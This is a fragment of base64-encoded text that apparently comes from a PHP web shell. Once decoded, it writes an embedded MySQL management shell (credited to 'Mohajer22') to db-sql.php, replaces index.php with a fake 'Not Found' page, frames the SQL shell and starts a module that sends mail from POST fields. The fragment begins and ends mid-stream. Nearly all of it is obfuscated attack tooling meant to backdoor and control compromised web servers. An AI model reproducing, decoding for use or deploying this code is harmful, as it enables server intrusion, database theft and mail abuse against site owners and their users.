lZVzVrYkdVcE93MEtDU1J1ZFcxbWFXVnNaSE05YlhsemNXeGZiblZ0WDJacFpXeGtjeWdrY205M2N5azdEUW9KZDJocGJHVWdLQ1J5YjNjZ1BTQnRlWE54YkY5bVpYUmphRjloY25KaGVTZ2tjbTkzY3l3Z1RWbFRVVXhmVGxWTktTa05DZ2w3RFFvSkNTUjBZV0pzWldSMWJYQWdQU0FpU1U1VFJWSlVJRWxPVkU4Z0pIUmhZbXhsSUZaQlRGVkZVeWdpT3cwS0NRa2tabWxsYkdSamIzVnVkR1Z5SUQwZ0xURTdEUW9KQ1NSbWFYSnpkR1pwWld4a0lEMGdNVHNOQ2drSkx5OGdaMlYwSUdWaFkyZ2dabWxsYkdRbmN5QmtZWFJoRFFvSkNYZG9hV3hsSUNnckt5Um1hV1ZzWkdOdmRXNTBaWElnUENBa2JuVnRabWxsYkdSektRMEtDUWw3RFFvSkNRbHBaaUFvSVNSbWFYSnpkR1pwWld4a0tRMEtDUWtKZXcwS0NRa0pDU1IwWVdKc1pXUjFiWEFnTGowZ0p5d2dKenNOQ2drSkNYME5DZ2tKQ1dWc2MyVU5DZ2tKQ1hzTkNna0pDUWtrWm1seWMzUm1hV1ZzWkNBOUlEQTdEUW9KQ1FsOURRb0pDUWxwWmlBb0lXbHpjMlYwS0NSeWIzZGJJaVJtYVdWc1pHTnZkVzUwWlhJaVhTa3BEUW9KQ1FsN0RRb0pDUWtKSkhSaFlteGxaSFZ0Y0NBdVBTQW5UbFZNVENjN0RRb0pDUWw5RFFvSkNRbGxiSE5sRFFvSkNRbDdEUW9KQ1FrSkpIUmhZbXhsWkhWdGNDQXVQU0FpSnlJZ0xpQnRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1J5YjNkYklpUm1hV1ZzWkdOdmRXNTBaWElpWFNrZ0xpQWlKeUk3RFFvSkNRbDlEUW9KQ1gwTkNna0pKSFJoWW14bFpIVnRjQ0F1UFNBaUtUdGNiaUk3RFFvSkNXVmphRzhnSkhSaFlteGxaSFZ0Y0RzTkNnbDlEUW9KUUcxNWMzRnNYMlp5WldWZmNtVnpkV3gwS0NSeWIzZHpLVHNOQ24wTkNnMEtablZ1WTNScGIyNGdaSFZ0Y0NncElIc05DZ2xuYkc5aVlXd2dKRzE1YzNGc1NHRnVaR3hsTENBa1lXTjBhVzl1TENBa1pHSnVZVzFsTENBa2RHRmliR1Z1WVcxbE93MEtDV2xtS0NBa1lXTjBhVzl1SUQwOUlDSmtkVzF3VkdGaWJHVWlJQ2w3RFFvSkNXaGxZV1JsY2lnaVEyOXVkR1Z1ZEMxa2FYTndiM05wZEdsdmJqb2dabWxzWlc1aGJXVTlKSFJoWW14bGJtRnRaUzV6Y1d3aUtUc05DZ2tKYUdWaFpHVnlLQ2REYjI1MFpXNTBMWFI1Y0dVNklIVnVhMjV2ZDI0dmRXNXJibTkzYmljcE93MEtDUWxtWlhSamFGOTBZV0pzWlY5a2RXMXdYM054YkNna2RHRmliR1Z1WVcxbEtUc05DZ2tKWldOb2J5QWlYRzVjYmx4dUlqc05DZ2tKWldOb2J5QWlYSEpjYmx4eVhHNWNjbHh1SXlNaklDUjBZV0pzWlc1aGJXVWdWRUZDVEVVZ1JGVk5VQ0JEVDAxUVRFVlVSVVFnSXlNaklqc05DZ2tKWlhocGREc05DZ2w5Wld4elpYc05DZ2tKYUdWaFpHVnlLQ0pEYjI1MFpXNTBMV1JwYzNCdmMybDBhVzl1T2lCbWFXeGxibUZ0WlQwa1pHSnVZVzFsTG5OeGJDSXBPdzBLQ1Fsb1pXRmtaWElvSjBOdmJuUmxiblF0ZEhsd1pUb2dkVzVyYm05M2JpOTFibXR1YjNkdUp5azdEUW9KQ1cxNWMzRnNYM05sYkdWamRGOWtZaWdnSkdSaWJtRnRaU3dnSkcxNWMzRnNTR0Z1Wkd4bElDazdEUW9KQ1NSeGRXVnllVjlwWkNBOUlHMTVjM0ZzWDNGMVpYSjVLQ0pUU0U5WElIUmhZbXhsY3lJc0pHMTVjM0ZzU0dGdVpHeGxLVHNOQ2drSmQyaHBiR1VnS0NSeWIzY2dQU0J0ZVhOeGJGOW1aWFJqYUY5aGNuSmhlU2drY1hWbGNubGZhV1FzSUUxWlUxRk1YMDVWVFNrcERRb0pDWHNOQ2drSkNRbG1aWFJqYUY5MFlXSnNaVjlrZFcxd1gzTnhiQ2drY205M1d6QmRLVHNOQ2drSkNRbGxZMmh2SUNKY2JseHVYRzRpT3cwS0NRa0pDV1ZqYUc4Z0lseHlYRzVjY2x4dVhISmNiaU1qSXlBa2NtOTNXekJkSUZSQlFreEZJRVJWVFZBZ1EwOU5VRXhGVkVWRUlDTWpJeUk3RFFvSkNRa0paV05vYnlBaVhHNWNibHh1SWpzTkNna0pmUTBLQ1FsbFkyaHZJQ0pjY2x4dVhISmNibHh5WEc0akl5TWdKR1JpYm1GdFpTQkVRVlJCUWtGVFJTQkVWVTFRSUVOUFRWQk1SVlJGUkNBakl5TWlPdzBLQ1FsbGVHbDBPdzBLQ1gwTkNuME5DZzBLWm5WdVkzUnBiMjRnZFhScGJITW9LU0I3RFFvSloyeHZZbUZzSUNSUVNGQmZVMFZNUml3Z0pHTnZiVzFoYm1RN0RRb0paV05vYnlBaVBHZ3hQbFYwYVd4cGRHbGxjend2YURFK1hHNGlPdzBLQ1dsbUtDQWtZMjl0YldGdVpDQTlQU0FpSWlCOGZDQnpkV0p6ZEhJb0lDUmpiMjF0WVc1a0xDQXdMQ0ExSUNrZ1BUMGdJbVpzZFhOb0lpQXBJSHNOQ2drSlpXTm9ieUFpUEdoeVBseHVJanNOQ2drSlpXTm9ieUFpVTJodmQxeHVJanNOQ2drSlpXTm9ieUFpUEhWc1BseHVJanNOQ2drSlpXTm9ieUFpUEd4cFBqeGhJR2h5WldZOUp5UlFTRkJmVTBWTVJqOWhZM1JwYjI0OWRYUnBiSE1tWTI5dGJXRnVaRDF6YUc5M1gzTjBZWFIxY3ljK1UzUmhkSFZ6UEM5aFBseHVJanNOQ2drSlpXTm9ieUFpUEd4cFBqeGhJR2h5WldZOUp5UlFTRkJmVTBWTVJqOWhZM1JwYjI0OWRYUnBiSE1tWTI5dGJXRnVaRDF6YUc5M1gzWmhjbWxoWW14bGN5YytWbUZ5YVdGaWJHVnpQQzloUGx4dUlqc05DZ2tKWldOb2J5QWlQR3hwUGp4aElHaHlaV1k5SnlSUVNGQmZVMFZNUmo5aFkzUnBiMjQ5ZFhScGJITW1ZMjl0YldGdVpEMXphRzkzWDNCeWIyTmxjM05zYVhOMEp6NVFjbTlqWlhOemJHbHpkRHd2WVQ1Y2JpSTdEUW9KQ1dWamFHOGdJand2ZFd3K1hHNGlPdzBLQ1FsbFkyaHZJQ0pHYkhWemFGeHVJanNOQ2drSlpXTm9ieUFpUEhWc1BseHVJanNOQ2drSlpXTm9ieUFpUEd4cFBqeGhJR2h5WldZOUp5UlFTRkJmVTBWTVJqOWhZM1JwYjI0OWRYUnBiSE1tWTI5dGJXRnVaRDFtYkhWemFGOW9iM04wY3ljK1NHOXpkSE04TDJFK1hHNGlPdzBLQ1FscFppZ2dKR052YlcxaGJtUWdQVDBnSW1ac2RYTm9YMmh2YzNSeklpQXBJSHNOQ2drSkNXbG1LQ0J0ZVhOeGJGOXhkV1Z5ZVNnZ0lrWnNkWE5vSUdodmMzUnpJaUFwSUNFOUlHWmhiSE5sSUNrTkNna0pDUWxsWTJodklDSXRJRk4xWTJObGMzTWlPdzBLQ1FrSlpXeHpaUTBLQ1FrSkNXVmphRzhnSWkwZ1JtRnBiQ0k3RFFvSkNYME5DZ2tKWldOb2J5QWlQR3hwUGp4aElHaHlaV1k5SnlSUVNGQmZVMFZNUmo5aFkzUnBiMjQ5ZFhScGJITW1ZMjl0YldGdVpEMW1iSFZ6YUY5c2IyZHpKejVNYjJkelBDOWhQbHh1SWpzTkNna0phV1lvSUNSamIyMXRZVzVrSUQwOUlDSm1iSFZ6YUY5c2IyZHpJaUFwSUhzTkNna0pDV2xtS0NCdGVYTnhiRjl4ZFdWeWVTZ2dJa1pzZFhOb0lHeHZaM01pSUNrZ0lUMGdabUZzYzJVZ0tRMEtDUWtKQ1dWamFHOGdJaTBnVTNWalkyVnpjeUk3RFFvSkNRbGxiSE5sRFFvSkNRa0paV05vYnlBaUxTQkdZV2xzSWpzTkNna0pmUTBLQ1FsbFkyaHZJQ0k4YkdrK1BHRWdhSEpsWmowbkpGQklVRjlUUlV4R1AyRmpkR2x2YmoxMWRHbHNjeVpqYjIxdFlXNWtQV1pzZFhOb1gzQnlhWFpwYkdWblpYTW5QbEJ5YVhacGJHVm5aWE04TDJFK1hHNGlPdzBLQ1FscFppZ2dKR052YlcxaGJtUWdQVDBnSW1ac2RYTm9YM0J5YVhacGJHVm5aWE1pSUNrZ2V3MEtDUWtKYVdZb0lHMTVjM0ZzWDNGMVpYSjVLQ0FpUm14MWMyZ2djSEpwZG1sc1pXZGxjeUlnS1NBaFBTQm1ZV3h6WlNBcERRb0pDUWtKWldOb2J5QWlMU0JUZFdOalpYTnpJanNOQ2drSkNXVnNjMlVOQ2drSkNRbGxZMmh2SUNJdElFWmhhV3dpT3cwS0NRbDlEUW9KQ1dWamFHOGdJanhzYVQ0OFlTQm9jbVZtUFNja1VFaFFYMU5GVEVZL1lXTjBhVzl1UFhWMGFXeHpKbU52YlcxaGJtUTlabXgxYzJoZmRHRmliR1Z6Sno1VVlXSnNaWE04TDJFK1hHNGlPdzBLQ1FscFppZ2dKR052YlcxaGJtUWdQVDBnSW1ac2RYTm9YM1JoWW14bGN5SWdLU0I3RFFvSkNRbHBaaWdnYlhsemNXeGZjWFZsY25rb0lDSkdiSFZ6YUNCMFlXSnNaWE1pSUNrZ0lUMGdabUZzYzJVZ0tRMEtDUWtKQ1dWamFHOGdJaTBnVTNWalkyVnpjeUk3RFFvSkNRbGxiSE5sRFFvSkNRa0paV05vYnlBaUxTQkdZV2xzSWpzTkNna0pmUTBLQ1FsbFkyaHZJQ0k4YkdrK1BHRWdhSEpsWmowbkpGQklVRjlUUlV4R1AyRmpkR2x2YmoxMWRHbHNjeVpqYjIxdFlXNWtQV1pzZFhOb1gzTjBZWFIxY3ljK1UzUmhkSFZ6UEM5aFBseHVJanNOQ2drSmFXWW9JQ1JqYjIxdFlXNWtJRDA5SUNKbWJIVnphRjl6ZEdGMGRYTWlJQ2tnZXcwS0NRa0phV1lvSUcxNWMzRnNYM0YxWlhKNUtDQWlSbXgxYzJnZ2MzUmhkSFZ6SWlBcElDRTlJR1poYkhObElDa05DZ2tKQ1FsbFkyaHZJQ0l0SUZOMVkyTmxjM01pT3cwS0NRa0paV3h6WlEwS0NRa0pDV1ZqYUc4Z0lpMGdSbUZwYkNJN0RRb0pDWDBOQ2drSlpXTm9ieUFpUEM5MWJENWNiaUk3RFFvSmZTQmxiSE5sSUhzTkNna0pKSEYxWlhKNVUzUnlJRDBnWlhKbFoxOXlaWEJzWVdObEtDQWlYeUlzSUNJZ0lpd2dKR052YlcxaGJtUWdLVHNOQ2drSkpIQlNaWE4xYkhRZ1BTQnRlWE54YkY5eGRXVnllU2dnSkhGMVpYSjVVM1J5SUNrN0RRb0pDV2xtS0NBa2NGSmxjM1ZzZENBOVBTQm1ZV3h6WlNBcElIc05DZ2tKQ1dWamFHOGdJa1poYVd3aU93MEtDUWtKY21WMGRYSnVPdzBLQ1FsOURRb0pDU1JqYjJ3Z1BTQnRlWE54YkY5dWRXMWZabWxsYkdSektDQWtjRkpsYzNWc2RDQXBPdzBLQ1FsbFkyaHZJQ0k4Y0NCamJHRnpjejFzYjJOaGRHbHZiajRrY1hWbGNubFRkSEk4TDNBK1hHNGlPdzBLQ1FsbFkyaHZJQ0k4YUhJK1hHNGlPdzBLQ1FsbFkyaHZJQ0k4ZEdGaWJHVWdZMlZzYkhOd1lXTnBibWM5TVNCalpXeHNjR0ZrWkdsdVp6MHlJR0p2Y21SbGNqMHdQbHh1SWpzTkNna0paV05vYnlBaVBIUnlQbHh1SWpzTkNna0pabTl5S0NBa2FTQTlJREE3SUNScElEd2dKR052YkRzZ0pHa3JLeUFwSUhzTkNna0pDU1JtYVdWc1pDQTlJRzE1YzNGc1gyWmxkR05vWDJacFpXeGtLQ0FrY0ZKbGMzVnNkQ3dnSkdrZ0tUc05DZ2tKQ1dWamFHOGdJangwYUQ0aUxpUm1hV1ZzWkMwK2JtRnRaUzRpUEM5MGFENWNiaUk3RFFvSkNYME5DZ2tKWldOb2J5QWlQQzkwY2o1Y2JpSTdEUW9KQ1hkb2FXeGxLQ0F4SUNrZ2V3MEtDUWtKSkhKdmQwRnljbUY1SUQwZ2JYbHpjV3hmWm1WMFkyaGZjbTkzS0NBa2NGSmxjM1ZzZENBcE93MEtDUWtKYVdZb0lDUnliM2RCY25KaGVTQTlQU0JtWVd4elpTQXBJR0p5WldGck93MEtDUWtKWldOb2J5QWlQSFJ5UGx4dUlqc05DZ2tKQ1dadmNpZ2dKR29nUFNBd095QWthaUE4SUNSamIydzdJQ1JxS3lzZ0tRMEtDUWtKQ1dWamFHOGdJangwWkQ0aUxtaDBiV3h6Y0dWamFXRnNZMmhoY25Nb0lDUnliM2RCY25KaGVWc2thbDBnS1M0aVBDOTBaRDVjYmlJN0RRb0pDUWxsWTJodklDSThMM1J5UGx4dUlqc05DZ2tKZlEwS0NRbGxZMmh2SUNJOEwzUmhZbXhsUGx4dUlqc05DZ2w5RFFwOURRcG1kVzVqZEdsdmJpQm1iMjkwWlhKZmFIUnRiQ2dwSUhzTkNnbG5iRzlpWVd3Z0pHMTVjM0ZzU0dGdVpHeGxMQ0FrWkdKdVlXMWxMQ0FrZEdGaWJHVnVZVzFsTENBa1VFaFFYMU5GVEVZc0lDUlZVMFZTVGtGTlJUc05DZ2xsWTJodklDSThhSEkrWEc0aU93MEtDV1ZqYUc4Z0lqeHpjR0Z1SUdOc1lYTnpQVndpYm1WM1hDSStXeVJWVTBWU1RrRk5SVjA4TDNOd1lXNCtJQzBnWEc0aU93MEtDV1ZqYUc4Z0lqeGhJR2h5WldZOUp5UlFTRkJmVTBWTVJqOWhZM1JwYjI0OVlrZHNlbVJGVWtOamR6MDlKejVFWVhSaFltRnpaU0JNYVhOMFBDOWhQaUI4SUZ4dUlqc05DZ2xwWmlnZ0pIUmhZbXhsYm1GdFpTQWhQU0FpSWlBcERRb0pDV1ZqYUc4Z0lqeGhJR2h5WldZOUp5UlFTRkJmVTBWTVJqOWhZM1JwYjI0OWJHbHpkRlJoWW14bGN5WmtZbTVoYldVOUpHUmlibUZ0WlNaMFlXSnNaVzVoYldVOUpIUmhZbXhsYm1GdFpTYytWR0ZpYkdVZ1RHbHpkRHd2WVQ0Z2ZDQWlPdzBLQ1dWamFHOGdJanhoSUdoeVpXWTlKeVJRU0ZCZlUwVk1SajloWTNScGIyNDlkWFJwYkhNblBsVjBhV3h6UEM5aFBpQjhYRzRpT3cwS0NXVmphRzhnSWp4aElHaHlaV1k5SnlSUVNGQmZVMFZNUmo5aFkzUnBiMjQ5Ykc5bmIzVjBKejVNYjJkdmRYUThMMkUrWEc0aU93MEtmUTBLTHk4dExTMHRMUzB0TFMwdExTMHRJRTFCU1U0Z0xTMHRMUzB0TFMwdExTMHRMU0F2THcwS1pYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93MEthVzVwWDNObGRDQW9KMlJwYzNCc1lYbGZaWEp5YjNKekp5d2dNQ2s3RFFwcGJtbGZjMlYwSUNnbmJHOW5YMlZ5Y205eWN5Y3NJREFwT3cwS2FXWW9JQ1JoWTNScGIyNGdQVDBnSW14dloyOXVJaUI4ZkNBa1lXTjBhVzl1SUQwOUlDSWlJSHg4SUNSaFkzUnBiMjRnUFQwZ0lteHZaMjkxZENJZ0tRMEtDV3h2WjI5dUtDazdEUXBsYkhObElHbG1LQ0FrWVdOMGFXOXVJRDA5SUNKaVJ6bHVZakkxWm1NelZtbGlWMnd3SWlBcERRb0piRzluYjI1ZmMzVmliV2wwS0NrN0RRcGxiSE5sSUdsbUtDQWtZV04wYVc5dUlEMDlJQ0prZFcxd1ZHRmliR1VpSUh4OElDUmhZM1JwYjI0Z1BUMGdJbVIxYlhCRVFpSWdLU0I3RFFvSmQyaHBiR1VvSUd4cGMzUW9KSFpoY2l3Z0pIWmhiSFZsS1NBOUlHVmhZMmdvSkVoVVZGQmZRMDlQUzBsRlgxWkJVbE1wSUNrZ2V3MEtDUWxwWmlnZ0pIWmhjaUE5UFNBaWJYbHpjV3hmZDJWaVgyRmtiV2x1WDNWelpYSnVZVzFsSWlBcElDUlZVMFZTVGtGTlJTQTlJQ1IyWVd4MVpUc05DZ2tKYVdZb0lDUjJZWElnUFQwZ0ltMTVjM0ZzWDNkbFlsOWhaRzFwYmw5d1lYTnpkMjl5WkNJZ0tTQWtVRUZUVTFkUFVrUWdQU0FrZG1Gc2RXVTdEUW9KQ1dsbUtDQWtkbUZ5SUQwOUlDSnRlWE54YkY5M1pXSmZZV1J0YVc1ZmFHOXpkRzVoYldVaUlDa2dKRWhQVTFST1FVMUZJRDBnSkhaaGJIVmxPdzBLQ1gwTkNna2tiWGx6Y1d4SVlXNWtiR1VnUFNCQWJYbHpjV3hmWTI5dWJtVmpkQ2dnSkVoUFUxUk9RVTFGTGlJNk16TXdOaUlzSUNSVlUwVlNUa0ZOUlN3Z0pGQkJVMU5YVDFKRUlDazdEUW9KWkhWdGNDZ3BPdzBLZlNCbGJITmxJSHNOQ2dsM2FHbHNaU2dnYkdsemRDZ2tkbUZ5TENBa2RtRnNkV1VwSUQwZ1pXRmphQ2drU0ZSVVVGOURUMDlMU1VWZlZrRlNVeWtnS1NCN0RRb0pDV2xtS0NBa2RtRnlJRDA5SUNKdGVYTnhiRjkzWldKZllXUnRhVzVmZFhObGNtNWhiV1VpSUNrZ0pGVlRSVkpPUVUxRklEMGdKSFpoYkhWbE93MEtDUWxwWmlnZ0pIWmhjaUE5UFNBaWJYbHpjV3hmZDJWaVgyRmtiV2x1WDNCaGMzTjNiM0prSWlBcElDUlFRVk5UVjA5U1JDQTlJQ1IyWVd4MVpUc05DZ2tKYVdZb0lDUjJZWElnUFQwZ0ltMTVjM0ZzWDNkbFlsOWhaRzFwYmw5b2IzTjBibUZ0WlNJZ0tTQWtTRTlUVkU1QlRVVWdQU0FrZG1Gc2RXVTdEUW9KZlEwS0NXVmphRzhnSWp3aExTMGlPdzBLQ1NSdGVYTnhiRWhoYm1Sc1pTQTlJRUJ0ZVhOeGJGOWpiMjV1WldOMEtDQWtTRTlUVkU1QlRVVXVJam96TXpBMklpd2dKRlZUUlZKT1FVMUZMQ0FrVUVGVFUxZFBVa1FnS1RzTkNnbGxZMmh2SUNJdExUNGlPdzBLQ1dsbUtDQWtiWGx6Y1d4SVlXNWtiR1VnUFQwZ1ptRnNjMlVnS1NCN0RRb0pDV1ZqYUc4Z0lqeDBZV0pzWlNCM2FXUjBhRDB4TURBbElHaGxhV2RvZEQweE1EQWxQangwY2o0OGRHUStQR05sYm5SbGNqNWNiaUk3RFFvSkNXVmphRzhnSWp4b01UNVhjbTl1WnlCUVlYTnpkMjl5WkNFOEwyZ3hQbHh1SWpzTkNna0paV05vYnlBaVBHRWdhSEpsWmowbkpGQklVRjlUUlV4R1AyRmpkR2x2Ymoxc2IyZHZiaWMrVEc5bmIyNDhMMkUrWEc0aU93MEtDUWxsWTJodklDSThMMk5sYm5SbGNqNDhMM1JrUGp3dmRISStQQzkwWVdKc1pUNWNiaUk3RFFvSmZTQmxiSE5sSUhzTkNna0phV1lvSUNSaFkzUnBiMjRnUFQwZ0ltSkhiSHBrUlZKRFkzYzlQU0lnS1EwS0NRa0piR2x6ZEVSaGRHRmlZWE5sY3lncE93MEtDUWxsYkhObElHbG1LQ0FrWVdOMGFXOXVJRDA5SUNKamNtVmhkR1ZFUWlJZ0tRMEtDUWtKWTNKbFlYUmxSR0YwWVdKaGMyVW9LVHNOQ2drSlpXeHpaU0JwWmlnZ0pHRmpkR2x2YmlBOVBTQWlaSEp2Y0VSQ0lpQXBEUW9KQ1Fsa2NtOXdSR0YwWVdKaGMyVW9LVHNOQ2drSlpXeHpaU0JwWmlnZ0pHRmpkR2x2YmlBOVBTQWliR2x6ZEZSaFlteGxjeUlnS1EwS0NRa0piR2x6ZEZSaFlteGxjeWdwT3cwS0NRbGxiSE5sSUdsbUtDQWtZV04wYVc5dUlEMDlJQ0pqY21WaGRHVlVZV0pzWlNJZ0tRMEtDUWtKWTNKbFlYUmxWR0ZpYkdVb0tUc05DZ2tKWld4elpTQnBaaWdnSkdGamRHbHZiaUE5UFNBaVpISnZjRlJoWW14bElpQXBEUW9KQ1Fsa2NtOXdWR0ZpYkdVb0tUc05DZ2tKWld4elpTQnBaaWdnSkdGamRHbHZiaUE5UFNBaWRtbGxkMU5qYUdWdFlTSWdLUTBLQ1FrSmRtbGxkMU5qYUdWdFlTZ3BPdzBLQ1FsbGJITmxJR2xtS0NBa1lXTjBhVzl1SUQwOUlDSnhkV1Z5ZVNJZ0tRMEtDUWtKZG1sbGQwUmhkR0VvSUNSeGRXVnllVk4wY2lBcE93MEtDUWxsYkhObElHbG1LQ0FrWVdOMGFXOXVJRDA5SUNKaFpHUkdhV1ZzWkNJZ0tRMEtDUWtKYldGdVlXZGxSbWxsYkdRb0lDSmhaR1FpSUNrN0RRb0pDV1ZzYzJVZ2FXWW9JQ1JoWTNScGIyNGdQVDBnSW1Ga1pFWnBaV3hrWDNOMVltMXBkQ0lnS1EwS0NRa0piV0Z1WVdkbFJtbGxiR1JmYzNWaWJXbDBLQ0FpWVdSa0lpQXBPdzBLQ1FsbGJITmxJR2xtS0NBa1lXTjBhVzl1SUQwOUlDSmxaR2wwUm1sbGJHUWlJQ2tOQ2drSkNXMWhibUZuWlVacFpXeGtLQ0FpWldScGRDSWdLVHNOQ2drSlpXeHpaU0JwWmlnZ0pHRmpkR2x2YmlBOVBTQWlaV1JwZEVacFpXeGtYM04xWW0xcGRDSWdLUTBLQ1FrSmJXRnVZV2RsUm1sbGJHUmZjM1ZpYldsMEtDQWlaV1JwZENJZ0tUc05DZ2tKWld4elpTQnBaaWdnSkdGamRHbHZiaUE5UFNBaVpISnZjRVpwWld4a0lpQXBEUW9KQ1Fsa2NtOXdSbWxsYkdRb0tUc05DZ2tKWld4elpTQnBaaWdnSkdGamRHbHZiaUE5UFNBaVpHMXNiR1F3VW1oa1IwVTlJaUFwRFFvSkNRbDJhV1YzUkdGMFlTZ2dJaUlnS1RzTkNna0paV3h6WlNCcFppZ2dKR0ZqZEdsdmJpQTlQU0FpWVdSa1JHRjBZU0lnS1EwS0NRa0piV0Z1WVdkbFJHRjBZU2dnSW1Ga1pDSWdLVHNOQ2drSlpXeHpaU0JwWmlnZ0pHRmpkR2x2YmlBOVBTQWlZV1JrUkdGMFlWOXpkV0p0YVhRaUlDa05DZ2tKQ1cxaGJtRm5aVVJoZEdGZmMzVmliV2wwS0NBaVlXUmtJaUFwT3cwS0NRbGxiSE5sSUdsbUtDQWtZV04wYVc5dUlEMDlJQ0psWkdsMFJHRjBZU0lnS1EwS0NRa0piV0Z1WVdkbFJHRjBZU2dnSW1Wa2FYUWlJQ2s3RFFvSkNXVnNjMlVnYVdZb0lDUmhZM1JwYjI0Z1BUMGdJbVZrYVhSRVlYUmhYM04xWW0xcGRDSWdLUTBLQ1FrSmJXRnVZV2RsUkdGMFlWOXpkV0p0YVhRb0lDSmxaR2wwSWlBcE93MEtDUWxsYkhObElHbG1LQ0FrWVdOMGFXOXVJRDA5SUNKa1pXeGxkR1ZFWVhSaElpQXBEUW9KQ1Fsa1pXeGxkR1ZFWVhSaEtDazdEUW9KQ1dWc2MyVWdhV1lvSUNSaFkzUnBiMjRnUFQwZ0luVjBhV3h6SWlBcERRb0pDUWwxZEdsc2N5Z3BPdzBLQ1FsdGVYTnhiRjlqYkc5elpTZ2dKRzE1YzNGc1NHRnVaR3hsS1RzTkNna0pabTl2ZEdWeVgyaDBiV3dvS1RzTkNnbDlEUXA5RFFvL1BnMEtQR2gwYld3K0RRbzhhR1ZoWkQ0TkNqeDBhWFJzWlQ1TmVWTlJUQ0JKYm5SbGNtWmhZMlVnS0VSbGRtVnNiM0JsWkNCQ2VTQk5iMmhoYW1WeU1qSXBQQzkwYVhSc1pUNE5DanhpYjJSNUlHSm5RMjlzYjNJOUl6QXdNREF3TUNBK0RRbzhjM1I1YkdVZ2RIbHdaVDBpZEdWNGRDOWpjM01pUGcwS1BDRXRMUTBLY0M1c2IyTmhkR2x2YmlCN0RRb0pZMjlzYjNJNklDTXdNRVpHTURBN0RRcDlEUXBvTVN3Z2FESXNJR2d6SUhzTkNnbGpiMnh2Y2pvZ0l6QXdSa1l3TURzTkNuME5DblJvSUhzTkNnbGlZV05yWjNKdmRXNWtMV052Ykc5eU9pQWpNakl5TWpJeU93MEtDV052Ykc5eU9pQWpNREJHUmpBd093MEtDV1p2Ym5RdGMybDZaVG9nYzIxaGJHdzdEUXA5RFFwMFpDQjdEUW9KWTI5c2IzSTZJQ013TUVaR01EQTdEUW9KWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSXpRME5EUTBORHNOQ2dsbWIyNTBMWE5wZW1VNklITnRZV3hzT3cwS2ZRMEtabTl5YlNCN0RRb0piV0Z5WjJsdUxYUnZjRG9nTURzTkNnbHRZWEpuYVc0dFltOTBkRzl0T2lBd093MEtmUTBLWVNCN0RRb0pkR1Y0ZEMxa1pXTnZjbUYwYVc5dU9tNXZibVU3RFFvSlkyOXNiM0k2SUNNd01FWkdNREE3RFFvSlptOXVkQzF6YVhwbE9uTnRZV3hzT3cwS2ZRMEtRVHBzYVc1cklIc05Da05QVEU5U09pTkdSa1pHUmtZN0RRcFVSVmhVTFVSRlEwOVNRVlJKVDA0NklHNXZibVVOQ24wTkNrRTZkbWx6YVhSbFpDQjdEUXBEVDB4UFVqb2pNREJHUmpBd093MEtWRVZZVkMxRVJVTlBVa0ZVU1U5T09pQnViMjVsRFFwOURRcEJPbUZqZEdsMlpTQjdEUXBEVDB4UFVqb2pNREJHUmpBd093MEtWRVZZVkMxRVJVTlBVa0ZVU1U5T09pQnViMjVsRFFwOURRcEJPbWh2ZG1WeUlIc05DbU52Ykc5eU9pTXdNRVpHTURBN0RRcFVSVmhVTFVSRlEwOVNRVlJKVDA0NklHNXZibVVOQ24wTkNtbHVjSFYwTENCelpXeGxZM1FzSUhSbGVIUmhjbVZoSUhzTkNtSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTXdNREF3TURBN0RRcGliM0prWlhJdGMzUjViR1U2SUhOdmJHbGtPdzBLWm05dWRDMW1ZVzFwYkhrNklGUmhhRzl0WVN4V1pYSmtZVzVoTEVGeWFXRnNMRk5oYm5NdFUyVnlhV1k3RFFwbWIyNTBMWE5wZW1VNmMyMWhiR3c3RFFwamIyeHZjam9nSXpBd1JrWXdNRHNOQ25CaFpHUnBibWM2SURCd2VEc05DbjBOQ214cElIc05DbU52Ykc5eU9pQWpNREJHUmpBd093MEtmUTBLTG01bGR5QjdEUXBqYjJ4dmNqb2dJekF3UmtZd01Ec05DbjBOQ2k4dkxTMCtEUW84TDNOMGVXeGxQZzBLUEM5b1pXRmtQZz09JzsgCiRmaWxlID0gZm9wZW4oImRiLXNxbC5waHAiICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkc3Fsc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJkYi1zcWwucGhwIiwgMDY0NCk7CiRpbmRleHNoZWxsID0gZm9wZW4oImluZGV4LnBocCIgLCJ3KyIpOwokZGF0YSA9ICdQR2d4UGs1dmRDQkdiM1Z1WkR3dmFERStJQTBLUEhBK1ZHaGxJSEpsY1hWbGMzUmxaQ0JWVWt3Z2QyRnpJRzV2ZENCbWIzVnVaQ0J2YmlCMGFHbHpJSE5sY25abGNpNDhMM0ErSUEwS1BHaHlQaUFOQ2p4aFpHUnlaWE56UGtGd1lXTm9aU0JUWlhKMlpYSWdZWFFnUEQ4OUpGOVRSVkpXUlZKYkowaFVWRkJmU0U5VFZDZGRQejRnVUc5eWRDQTRNRHd2WVdSa2NtVnpjejRnRFFvZ0lDQWdQSE4wZVd4bFBpQU5DaUFnSUNBZ0lDQWdhVzV3ZFhRZ2V5QnRZWEpuYVc0Nk1EdGlZV05yWjNKdmRXNWtMV052Ykc5eU9pTm1abVk3WW05eVpHVnlPakZ3ZUNCemIyeHBaQ0FqWm1abU95QjlJQTBLSUNBZ0lEd3ZjM1I1YkdVKyc7CiR0dWxpcyA9IGZ3cml0ZSggJGluZGV4c2hlbGwsIGJhc2U2NF9kZWNvZGUoJGRhdGEpKTsKZmNsb3NlKCRpbmRleHNoZWxsKTsKICAgZWNobyAiPGlmcmFtZSBzcmM9bXlzcWwvZGItc3FsLnBocCB3aWR0aD05NyUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4iOyAKfQoKZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYWlsJykpewppZihpc3NldCgkX1BPU1RbJ21haWxfc2VuZCddKSl7CgkkbWFpbF90byA9ICRfUE9TVFsnbWFpbF90byddOwoJJG1haWxfZnJvbSA9ICRfUE9TVFsnbWFpbF9mcm9tJ107CgkkbWFpbF9zdWJqZWN0ID0gJF9QT1NUWydtYWlsX3N1YmplY3QnXTsKCSRtYWlsX2NvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydtYWlsX2NvbnRlbnQnXSk7CglpZihAbWFpbCgkbWFpbF90bywkbWFpbF9zdWJqZWN0LCRtYWlsX2Nvbn